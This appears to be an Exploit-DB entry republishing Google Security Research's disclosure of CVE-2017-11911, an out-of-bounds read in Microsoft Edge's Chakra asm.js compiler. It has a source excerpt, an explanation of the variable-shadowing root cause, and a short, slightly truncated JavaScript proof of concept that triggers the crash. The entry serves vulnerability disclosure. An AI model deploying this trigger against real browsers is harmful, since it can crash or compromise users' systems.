Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read

EDB-ID: 43468
Author: Google Security Research
Published: 2018-01-09
CVE: CVE-2017-11911
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody. 
AsmJsVar * initSource = nullptr;
if (decl->sxVar.pnodeInit->nop == knopName)
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
// in this case we are initializing with value of a constant var
initSource = initSym->Cast<AsmJsVar>();
if (initSource)
if (var->GetType().isDouble())
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.


function createModule() {
'use asm';
const a = 1.0;
function f() {
var b = a;
var a = 0;

return f;
var f = createModule();

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